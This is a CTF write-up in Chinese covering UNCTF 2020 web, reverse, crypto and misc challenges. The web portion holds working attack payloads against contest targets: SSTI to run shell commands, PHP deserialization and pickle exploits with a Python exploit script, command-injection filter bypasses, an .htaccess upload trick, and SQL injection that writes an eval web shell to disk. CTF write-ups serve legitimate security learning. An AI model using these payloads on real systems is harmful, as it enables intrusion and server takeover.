最后几天都没登进去。。。这验证码河里 🐎
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<?php
echo'<center><strong>welc0me to 2020UNCTF!!</strong></center>';
highlight_file(__FILE__);
$url = $_GET['url'];
if(preg_match('/unctf\.com/',$url)){
if(!preg_match('/php|file|zip|bzip|zlib|base|data/i',$url)){
$url=file_get_contents($url);
echo($url);
}else{
echo('error!!');
}
}else{
echo("error");
}
?>
|
本来以为是利用bypass技巧达到php伪协议嵌套一层unctf.com的,但是bypass不了,僵了好久。。。
后来突然想到之前做过一个利用file_get_contents会将不存在的协议名作为目录
实现目录穿越,结果就成了,也是个hanhan,这么久才想出来。
payload
1
|
?url=unctf.com../../../../../flag
|
整个页面就一行a easy flask problem,first login as the admin
,其他啥都没有,一开始我还以为是传统的GET传name=admin,结果不行。。。
由于比赛通知中没有说不能扫目录,就扫一下,果然扫到了/login
和/register
两个路由,注册admin帐号,抓包解密session,解密出来也没有什么特别的地方。
突然一个手抖回到了/
路由,回显admin login success and check the secret route /secret_route_you_do_not_know
,访问返回you should 'guess' the secret number
(不归路从这里开始)
GET传guess猜数字,直接开burp硬撸,撸不出来。
然后发现当我们注册一个非admin用户的时候,我们登录再回到根目录路由,此时源码处会出现hint:
1
|
<p>the length of secret key is no more than 4 and the secret key are all lowercase letters and digits</p>
|
我本来还沾沾自喜,藏得挺深啊。然后就是一下午的爆破之路,一百多万的爆破量,愣是爆破不出来,绝了。
后来看着回显突然想到SSTI(我真TM是个hanhan),一试{{config}}
,果然。。。。
测了一下,过滤了'"[]_
,上payload:
1
|
{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(166)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__('os').popen('cat flag.txt').read()
|
就一个模板注入,搞了这么多幺蛾子,要是不给那个非admin用户的hint,我说不定不会执着于去爆破。。。
提示1:if(!(is_file($name)===false)){flag}else{no flag}
开局描述:
任务描述:我会查看你提交文件位置是否存在,如果你给我了一个存在的文件名,我就给你flag,注意:这个文件夹中只有两个文件,一个是保存flag的文件,另一个是index.php
这里ban了斜杠,所以应该只能猜当前目录下的文件,emmm,猜不出来,直接数组绕过判断
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<?php
// flag在flag.php
if(isset($_GET['a'])){
if(preg_match('/\(.*\)/', $_GET['a']))
die('hacker!!!');
ob_start(function($data){
if (strpos($data, 'flag') !== false)
return 'ByeBye hacker';
return false;
});
eval($_GET['a']);
} else {
highlight_file(__FILE__);
}
?>
|
ob_start介绍:
此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。
因此,这里的waf并不是过滤flag字符串,而是输出中不能含有flag字段。
于是使用
但是还是回显ByeBye hacker
,说明文件内容也存在flag字段,那么
1
|
?a=echo`cat flag.php|base64`;
|
得到内容的base64编码内容,解码获得flag。(PS:就算这里过滤了flag字段我们也可以通过通配符去读取flag.php文件)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
<?php
error_reporting(0);
highlight_file(__FILE__);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='easy')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('challenge','easychallenge',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
|
filter函数导致的反序列化字符逃逸实现password值覆盖。
payload
1
|
?1=challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}}}}
|
1
2
3
4
5
6
7
8
9
10
11
12
|
<?php
show_source(__FILE__);
$username = "admin";
$password = "password";
include("flag.php");
$data = isset($_POST['data'])? $_POST['data']: "" ;
$data_unserialize = unserialize($data);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";
}
|
这题目。。。有点意思,按道理弱类型比较时数字0能够==任意以字母开头字符串。但是由于一般传参时参数都会以字符串形式传递,因此这种弱类型基本不常见(反正我是没见过),而这里通过反序列化实现数字0的弱类型比较,这般操作实属罕见。
1
2
3
4
|
<?php
$data = array('username' => 0, 'password' => 0 );
echo serialize($data);
// a:2:{s:8:"username";i:0;s:8:"password";i:0;}
|
文件内容过滤:
perl|pyth|ph|auto|curl|base||>|rm|ryby|openssl|war|lua|msf|xter|telnet in contents!
1
2
|
AddType application/x-httpd-p\
hp .she
|
绕过waf,然后上传后缀为she
得文件,文件内容由于ph字符的过滤,我选择短标签<?=
:
1
|
<?=eval($_POST['cmd']);
|
蚁剑连接即可(Content-Type不要忘了改)
咋回事?改题了?原来不是要先登陆吗,怎么变成ping了?
?url=127.0.0.1||less<index.php
读源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<?php
if (isset($_GET['url'])){
$ip=$_GET['url'];
if(preg_match("/(;|'| |>|]|&| |\\$|\\|rev|more|tailf|head|nl|tail|tac|cat|rm|cp|mv|\*|\{)/i", $ip)){
die("<strong><center>非法字符</center></strong>");
}
if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("<strong><center>非法字符</center></strong>");
}
$a = shell_exec("ping -c 4 ".$ip);
echo($a);
}else{
echo "<script>alert('欢迎来到UN`s online tools 如果师傅觉得题目不适合您,可以出门左拐')</script>";
}
?>
|
payload
1
2
|
127.0.0.1||ls%09/ # 列目录
127.0.0.1||/bin/ca?%09/f??? # 调用/bin目录下的cat命令读取/flag
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
|
from flask import Flask,render_template,redirect,request,session,make_response
import config
import pickle
import io
import sys
import base64
class Person:
def __init__(self, name, is_admin):
self.name = name
self.is_admin = is_admin
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
app = Flask(__name__)
flag = "xxx"
@app.route("/")
def index():
app.config["SECRET_KEY"] = config.secret_key
return redirect("login")
@app.route("/login",methods=["GET","POST"])
def login():
if request.form.get('name'):
name = request.form.get('name')
person = Person(name,0)
pkl = pickle.dumps(person)
pkl = base64.b64encode(pkl)
resp = make_response(name)
resp.set_cookie('pkl',pkl)
session['name'] = name
session['is_admin'] = 0
return resp
else:
if session.get('name'):
if b'R' in base64.b64decode(request.cookies['pkl']):
return "RCE??"
person = pickle.loads(base64.b64decode(request.cookies['pkl']))
print(person.is_admin)
if session.get('is_admin') == 1:
#person = pickle.loads(base64.b64decode(request.cookies['pkl']))
if person.is_admin == 1:
return "HHHacker!Here is Your flag : " + flag
return render_template("index.html",name=session.get('name'))
else:
return render_template("login.html")
@app.route("/logout",methods=["GET","POST"])
def logout():
resp = make_response("success")
resp.delete_cookie("session")
resp.delete_cookie("pkl")
return resp
@app.route("/source")
def source():
return open('code.txt','r').read()
if __name__ == "__main__":
app.run(host="0.0.0.0",port=5000,debug=True)
|
此题情况如从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势文章描述一致:通过重写find_class函数实现模块限制,那我们同样可以通过文章介绍的方法来完成:绕过c指令module限制:先读入,再篡改
原理在文章中也有叙说:
通过GLOBAL指令引入的变量,可以看作是原变量的引用。我们在栈上修改它的值,会导致原变量也被修改!
因此我们可以通过c操作符(即GLOBAL指令)覆盖secret_key
和is_admin
的值,通过条件判断拿到flag。
理想中的解法:
本来这种题目是可以通过pker工具完成的,根据下面的文件内容生成0号协议的payload
1
2
3
4
|
secret = GLOBAL('__main__','config')
secret.secret_key = 'tyskill'
person = INST('__main__','Person','tyskill',1)
return person
|
然后通过命令python3 pker.py < text
生成修改栈值的payload,但是发现不可用(咱也不知道,咱也不敢问)。
官方wp说0号协议不能用,需要3号协议,pker不能用了,就只能自己构造了。参考文章pickle反序列化初探里面介绍的opcode操作符尝试构造。
除此之外,我们可以根据从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势里面的一个payloadb'\x80\x03c__main__\nblue\n}(Vname\nVrua\nVgrade\nVwww\nub0c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x05\x00\x00\x00gradeX\x03\x00\x00\x00wwwub.'
进行修改,改出来的payload:
1
|
\x80\x03c__main__\nconfig\n}(Vsecret_key\nVtyskill\nub0c__main__\nPerson\n)\x81}(X\x04\x00\x00\x00nameX\x07\x00\x00\x00tyskillX\x08\x00\x00\x00is_adminK\x01ub.
|
但是这个payload感觉不太好理解,主要是后面实例化Person的那部分构造起来可能不适合我这个fw(主要是不知道为什么删掉q\x00
这个部分)。
构造过程一共可以分为两步:
-
创建空字典config
,存入{'secret_key':'tyskill'}
键值对
-
实例化Person类
第一步添加字典的过程就按照那个payload构造;
第二步实例化Person可以通过直接本地输出三号协议的序列化数据:\x80\x03c__main__\nPerson\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x07\x00\x00\x00tyskillq\x04X\x08\x00\x00\x00is_adminq\x05K\x01ub.
然后拼起来(拼接方式在pickle反序列化初探中也有介绍),最终payload:
1
|
\x80\x03c__main__\nconfig\n}(Vsecret_key\nVtyskill\nub0c__main__\nPerson\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x07\x00\x00\x00tyskillq\x04X\x08\x00\x00\x00is_adminq\x05K\x01ub.
|
然后先将pkl的值替换为我们生成的字符串,session不要动,因为此时secret_key还没有被修改,传了构造的session也没用。回到根目录,因为根目录会执行
1
|
app.config["SECRET_KEY"] = config.secret_key
|
将我们自定义的secret_key取代原先的值,这时我们就可以将构造的session和pkl一同用来访问/login路由,拿到flag。
exp(改自官方wp)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
import requests, base64
pkl = b'\x80\x03c__main__\nconfig\n}(Vsecret_key\nVtyskill\nub0c__main__\nPerson\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x07\x00\x00\x00tyskillq\x04X\x08\x00\x00\x00is_adminq\x05K\x01ub.'
pkl = base64.b64encode(pkl).decode()
url = "http://8c4fa0fb-937d-49e9-b226-973a267de28f.node1.hackingfor.fun/"
#正常的cookie值
headers1 = {
"Cookie":"pkl={}; session=eyJpc19hZG1pbiI6MCwibmFtZSI6InR5c2tpbGwifQ.X7YrXQ.FSuQAHZNRkMkkvCSCLGzkUJ8qYc".format(pkl)
}
#只修改了pkl的cookie值
headers2 = {
"Cookie":"pkl={};session=eyJpc19hZG1pbiI6MCwibmFtZSI6InR5c2tpbGwifQ.X7YrXQ.FSuQAHZNRkMkkvCSCLGzkUJ8qYc".format(pkl)
}
#同时伪造了pkl和session的cookie
headers3 = {
"Cookie":"pkl={};session=eyJpc19hZG1pbiI6MSwibmFtZSI6InR5c2tpbGwifQ.X7YqBw.qyZMFKWzpS9eqQc4C6MaAdAHd1Q".format(pkl)
}
data = {
"name":"tyskill"
}
requests.post(url=url+"login", data=data)
requests.get(url=url+"login",headers=headers1) # 创建用户身份,保证cookie可用
requests.get(url=url+"login",headers=headers2)
requests.get(url) #访问根目录,重设 SECRET_KEY
ans = requests.get(url=url+"login",headers=headers3)
print(ans.text)
|
F12翻到最后有一串base85加密的字符串<!-- B4Z0-@:OCnDf, -->
,在线网站解密得get action
。
很明显,是要GET传参action,此时看到主页的Hint:读源码,伪协议直接读
1
2
3
|
?action=php://filter/string.rot13/resource=flag.php
# 官方
?action=php://filter/convert.quoted-printable-encode/resource=flag.php
|
读出来的在线网站解一下rot13就行。
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
<?php
error_reporting(0);
$action = $_GET['action'];
if(isset($action))
{
if (preg_match("/base|data|input|zip|zlib/i",$action)){
echo "<script>alert('Hacker!!!')</script>";
}
else {
include("$action");
}
}
else
{
include("footer.php");
}
?>
|
flag.php
1
2
3
4
|
<?php
$flag = "unctf{7his_is_@_f4ke_f1a9}";
//hint:316E4433782E706870
?>
|
将hint十六进制解密得到1nD3x.php
,访问
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
<?php
error_reporting(0);
show_source(__FILE__);
$code=$_REQUEST['code'];
$_=array('@','\~','\^','\&','\?','\<','\>','\*','\`','\+','\-','\'','\"','\\\\','\/');
$__=array('eval','system','exec','shell_exec','assert','passthru','array_map','ob_start','create_function','call_user_func','call_user_func_array','array_filter','proc_open');
$blacklist1 = array_merge($_);
$blacklist2 = array_merge($__);
if (strlen($code)>16){
die('Too long');
}
foreach ($blacklist1 as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/m', $code)) {
die('WTF???');
}
}
foreach ($blacklist2 as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('Sry,try again');
}
}
@eval($code);
?>
|
参考文章eval长度限制绕过 && PHP5.6新特性,姿势就来了。
phpinfo中发现远程文件包含开启,直接?code=include$_GET[1];&1=data://text/plain,<?php system('cat /f*');?>
一把梭。
预期解是利用变长参数特性展开数组:
payload
1
2
|
GET: ?1[]=test&1[]=system('ls')&2=assert
POST: code=usort(...$_GET);
|
自问自答:
- 为什么使用usort这个函数?
其他函数太长了,很容易就超出16的长度限制。
- 为什么
usort(...$_GET)
有三个点,是什么作用?
PHP函数usort是咋回事?还能当后门?文章中写道:
...
运算符可以将数组或者可遍历的对象展开变为参数
不过必须是索引数组哦~~~
提示1:/?source
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
|
<?php
$adminPassword = 'd8b8caf4df69a81f2815pbcb74cd73ab';
if (!function_exists('fuxkSQL')) {
function fuxkSQL($iText)
{
$oText = $iText;
$oText = str_replace('\\\\', '\\', $oText);
$oText = str_replace('\"', '"', $oText);
$oText = str_replace("\'", "'", $oText);
$oText = str_replace("'", "''", $oText);
return $oText;
}
}
if (!function_exists('getVars')) {
function getVars()
{
$totals = array_merge($_GET, $_POST);
if (count($_GET)) {
foreach ($_GET as $key => $value) {
global ${$key}; // 变量覆盖
if (is_array($value)) {
$temp_array = array();
foreach ($value as $key2 => $value2) {
if (function_exists('mysql_real_escape_string')) {
$temp_array[$key2] = fuxkSQL(trim($value2));
} else {
$temp_array[$key2] = str_replace('"', '\"', str_replace("'", "\'", (trim($value2))));
}
}
${$key} = $_GET[$key] = $temp_array;
} else {
if (function_exists('mysql_real_escape_string')) {
${$key} = fuxkSQL(trim($value));
} else {
${$key} = $_GET[$key] = str_replace('"', '\"', str_replace("'", "\'", (trim($value))));
}
}
}
}
}
}
getVars();
if (isset($source)) {
highlight_file(__FILE__);
}
//只有admin才能设置环境变量
if (md5($password) === $adminPassword && sha1($verif) == $verif) {
echo 'you can set config variables!!' . '</br>';
foreach (array_keys($GLOBALS) as $key) {
if (preg_match('/var\d{1,2}/', $key) && strlen($GLOBALS[$key]) < 12) {
@eval("\$$key" . '="' . $GLOBALS[$key] . '";');
}
}
} else {
foreach (array_keys($GLOBALS) as $key) {
if (preg_match('/var\d{1,2}/', $key)) {
echo ($GLOBALS[$key]) . '</br>';
}
}
}
|
d8b8caf4df69a81f2815pbcb74cd73ab
一看就不是md5,所以正常来说md5($password) === $adminPassword
永远不可能实现,但是函数内部使用了global关键词:
global 关键词用于在函数内访问全局变量。
此关键词让$key的作用域从函数内部扩大到了函数外,以至于我们可以传递$adminPassword
实现变量覆盖,这样md5的等于就简单许多了。
接下来是sha1爆破,脚本如下:
1
2
3
4
5
6
7
8
9
|
<?php
for($i=0;$i<=99999999999;$i++){
$x1=hash("sha1", '0e'.$i);
if(substr($x1,0,2)==='0e' and is_numeric($x1)){
echo '0e'.$i; // 0e1290633704
break;
}
}
?>
|
payload
1
|
?adminPassword=c4ca4238a0b923820dcc509a6f75849b&password=1&verif=0e1290633704&source
|
1
2
3
4
5
|
foreach (array_keys($GLOBALS) as $key) {
if (preg_match('/var\d{1,2}/', $key) && strlen($GLOBALS[$key]) < 12) {
@eval("\$$key" . '="' . $GLOBALS[$key] . '";');
}
}
|
从条件判断中我们可以知道传参的变量名需要满足/var\d{1,2}/
的条件,即var后加一到两个数字,且传递值的长度需要小于12。
由于前面函数的处理,我们无法传递引号闭合eval,需要使用别的方法。发现$key
变量前加了\$
,我们可以通过这个$配合php的变量定界符${}
实现命令执行。
因为直接${$a}
中$a只是一个变量,不会拥有函数的功能,实现这个功能需要$a()
的结构,所以这里需要上传两个参数,分别负责函数名和调用函数。
payload
1
|
?adminPassword=c4ca4238a0b923820dcc509a6f75849b&password=1&verif=0e1290633704&var1=phpinfo&var2={$var1()}&source
|
提示1:flag不在数据库中。。
waf:
. | select | updatexml | sleep | if | alter | rename | where | update | insert | delete | load_file以及一些不会有明确回显hacker的关键字
堆叠。。。为什么我比赛的时候没有回显?
1';show databases;#
得到数据库
1';show tables;#
得到表
0xDktb words
1';show columns from 0xDktb;#
发现flag字段,1';prepare execsql from 0x73656c656374202a2066726f6d20603078446b746260;execute execsql;#
读取获得
flag{flag_1s_not_here!}
假flag,结合hint,判断flag是目录文件,直接写shell:
1
2
|
// select "<?php @eval($_POST['cmd'])?>" into outfile '/var/www/html/eval.php'
1';prepare execsql from 0x73656c65637420223c3f70687020406576616c28245f504f53545b27636d64275d293f3e2220696e746f206f757466696c6520272f7661722f7777772f68746d6c2f6576616c2e70687027;execute execsql;#
|
蚁剑连接,根目录下找到flag。
题目描述:wasm
源码发现hint
1
2
3
4
5
6
7
8
9
10
|
<!--简易操作说明
上下左右
Z 换方向
懂得都懂
不懂的群里阿巴阿巴
分数到了999还是9999还是99999来着就有flag,具体我也忘记了,反正自己玩吧!!!
我觉得这次比赛最大的意义就在于能不能让选手学到新东西
玩的开心记得一键三连
-->
|
玩了几把,最多才到九千六百多,玩不下去了(膜一下那位39万多分的带佬),转去看源码的js,发现一处信息泄露
1
2
3
4
5
6
7
8
9
10
|
window.addEventListener('DOMContentLoaded', async () => {
const go = new Go();
const name ="blocks";
const curWwwPath=window.document.location.href;
const pathName=window.document.location.pathname;
const pos=curWwwPath.indexOf(pathName);
const localhostPath=curWwwPath.substring(0,pos);
let url = `${localhostPath}/${name}.wasm.gz`; // 信息泄露
...
});
|
下载源码文件,是一个wasm后缀的文件
WebAssembly(缩写为Wasm)是基于堆栈的虚拟机的二进制指令格式。Wasm被设计为可编程C / C ++ / Rust等高级语言的可移植目标,可在Web上部署客户端和服务器应用程序。
感觉不妙,这道题不会是二进制题目吧?再看看其他js文件里面都没有关于游戏积分规则的内容,懂了,这就换方向。
在线反编译wasm2wat,看不懂。使用文档中推荐的工具--wabt
1
|
./wasm2c blocks.wasm -o test.c
|
参考一种Wasm逆向静态分析方法,我们可以先将反编译出的c文件使用gcc编译后ida分析,将之前反编译出来的test.c
,test.h
,以及wabt项目wasm2c文件夹内的wasm-rt.h
,wasm-rt-impl.c
,wasm-rt-impl.h
三个文件放到同一个文件夹,然后gcc编译
1
|
gcc -c test.c -o test.o
|
逆向未果,终究是我错付了...
真的是二进制。。。告辞
下载wasm文件,记事本打开搜索flag字符串,找到
THIS IS YOUR FLAG :
0h0hy0ug4t1t.html
访问获得flag。
x64debug打开,找到flag(注意大小写)
1
|
python pyinstxtractor.py run.exe
|
通过pyinstxtractor.py获得拆解的pyc文件,然后使用uncompyle6反编译run.pyc(反编译前修复一下字节码,照着struct.pyc的前八个字节码修改就行)。
获得run.py
1
2
3
4
5
6
|
str2 = 'UMAQBvogWLDTWgX"""k'
flag = ''
for i in range(len(str2)):
flag += chr(ord(str2[i]) + i)
print(flag)
|
运行代码获得flag。
已知p、q、c,常见题型,直接脚本一把梭
1
2
3
4
5
6
7
8
9
10
|
import gmpy2
a = 320398687477638913975700270017132483556404036982302018853617987417039612400517057680951629863477438570118640104253432645524830693378758322853028869260935243017328300431595830632269573784699659244044435107219440036761727692796855905230231825712343296737928172132556195116760954509270255049816362648350162111168
b = 9554090001619033187321857749048244231377711861081522054479773151962371959336936136696051589639469653074758469644089407114039221055688732553830385923962675507737607608026140516898146670548916033772462331195442816239006651495200436855982426532874304542570230333184081122225359441162386921519665128773491795370
c = 22886015855857570934458119207589468036427819233100165358753348672429768179802313173980683835839060302192974676103009829680448391991795003347995943925826913190907148491842575401236879172753322166199945839038316446615621136778270903537132526524507377773094660056144412196579940619996180527179824934152320202452981537526759225006396924528945160807152512753988038894126566572241510883486584129614281936540861801302684550521904620303946721322791533756703992307396221043157633995229923356308284045440648542300161500649145193884889980827640680145641832152753769606803521928095124230843021310132841509181297101645567863161780
p, q = (a + b) // 2, (a - b) // 2
n = p * q
e = 65537
d = gmpy2.invert(e, (p - 1) * (q - 1))
m = pow(c, d, n)
print(bytes.fromhex(hex(m)[2:]))
|
低解密指数攻击,CTF-RSA收集了解密脚本,脚本解出d之后直接m一把梭。
查看图片hex值,最后面发现一个视频地址https://www.bilibili.com/video/BV1y44111737,评论区找到flag。
题目描述:
RPG小游戏
爷把flag弄丢了, 你可以帮他找回来吗
开宝箱,打怪,买hint:
Hint1:爷经常在书房的花盆底下做奇奇怪怪的事
之前解出来的Morse,开左边地图的宝箱,得到屠龙刀,一刀999,是兄弟就来砍。
Hint2:rpgsave是什么文件
官方鼓励修改器??改金额,导出文件覆盖存档,进入游戏直接买Hint3出flag。
后缀改为zip,在xl/shareStrings.xml
找到base64加密字符,解密得到flag。
wireshark打开导出文件列表,发现有py
、pyc
和zip
文件,但是以php后缀上传,保存修改后缀。
py文件是加密脚本,pyc文件保存了密钥,zip中是保存加密flag的文件
(pyc无法通过反编译获取key,但可以通过分析数据包内容获得key)
加密脚本
1
2
3
4
5
6
7
8
9
10
11
12
|
#coding:utf-8
import base64
from secret import key
# key = YLBSB?YLBNB!
file = open("YLBSB.docx", "rb")
enc = open("YLBSB.xor", "wb")
plain = base64.b64encode(file.read())
count = 0
for c in plain:
d = chr(c ^ ord(key[count % len(key)]))
enc.write(d.encode())
count = count + 1
|
解密脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
|
import base64
key = 'YLBSB?YLBNB!'
file = open("YLBSB.xor", "rb").read()
enc = open("YLBSB.docx", "wb")
count = 0
content = b''
for d in file:
c = chr(d ^ ord(key[count % len(key)]))
content += c.encode()
count += 1
enc.write(base64.b64decode(content))
file.close()
enc.close()
|
也就吃个饭洗个澡打会游戏的功夫。。。
题目描述:我瞎了看不到flag了
将光标停在第一个字符前发现是第9列,说明这里存在隐写--零宽隐写。
本来看这个题目名字就想到是零宽隐写的,但是存的解密网站屁反应没有,还以为不是。。。😓(这个隐写真迷,每个网站加密出来的都不一样,导致解密只能在对应网站解)
题目描述:flag格式为unctf{*****}
,******中的字母统一为大写
解题过程参考CTF流量分析常见题型(二)-USB流量
最后做出的图需要经过镜像翻转,然后记录flag。
在线网站解拨号音,得到电话号码
15975384265
根据txt的提示# 电话号码就是压缩包密码
解开压缩包,通过audacity打开wav,切换到频谱,出现内容我是tupper
,搜索引擎查找tupper,在Tupper自我指涉公式生成器文章中有详细说明。
在线网站Tupper's Self-Referential Formula Playground解密,生成的图像再上下颠倒一下即为flag。
记事本打开,搜索flag字符串。
整段加密文字只有三种就这.
、就这¿
和不会吧!
,联想到0ok!,脚本替换,在线网站解密。
直接QR Research扫出flag。
shadow文件 是linux系统中记载root密码的保密性文件,可以用 john(kali自带) 来破解。
1
|
.\john.exe --show shadow
|
获得guguguguji密码
guguguguji:123456:18556:0:99999:7:::
123456
md5加密,外套unctf{}。
提示1:阿雷:Arecibo
提示2:30 80 7
转30*80图片
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
from PIL import Image
width, height = 30, 80
pic = Image.new("RGB",(width, height))
with open('open.txt', 'r') as f:
char = f.read()
print(len(char))
i=0
for y in range(0, height):
for x in range(0, width):
if(char[i] == '0'):
pic.putpixel([x,y],(0,0,0))
else:
pic.putpixel([x,y],(255,255,255))
i = i+1
# pic.show()
pic.save("flag.jpg")
|
然后七进制将大括号内的符号转为字符串。
PS:图片上明明是大写UNCTF,提交时小写才对。。。
010打开,最后有一串base64字符,解密后发现从后向前看是zip的hex值,直接在线网站倒序,保存为zip,然后纯数字爆破出密码(略脑洞),得到flag。
拼图题,使用自动化姿势(montage命令+gaps)完成。
详细安装过程移步unctf2020 部分简单题题解
命令montage *.jpg -tile 15x15 -geometry +0+0 1.jpg
拼合图像,
gaps --image=1.jpg --generations=40 --population=225 --size=60 --save
还原图像。
unctf2020 部分简单题题解
UNCTF2020
官方wp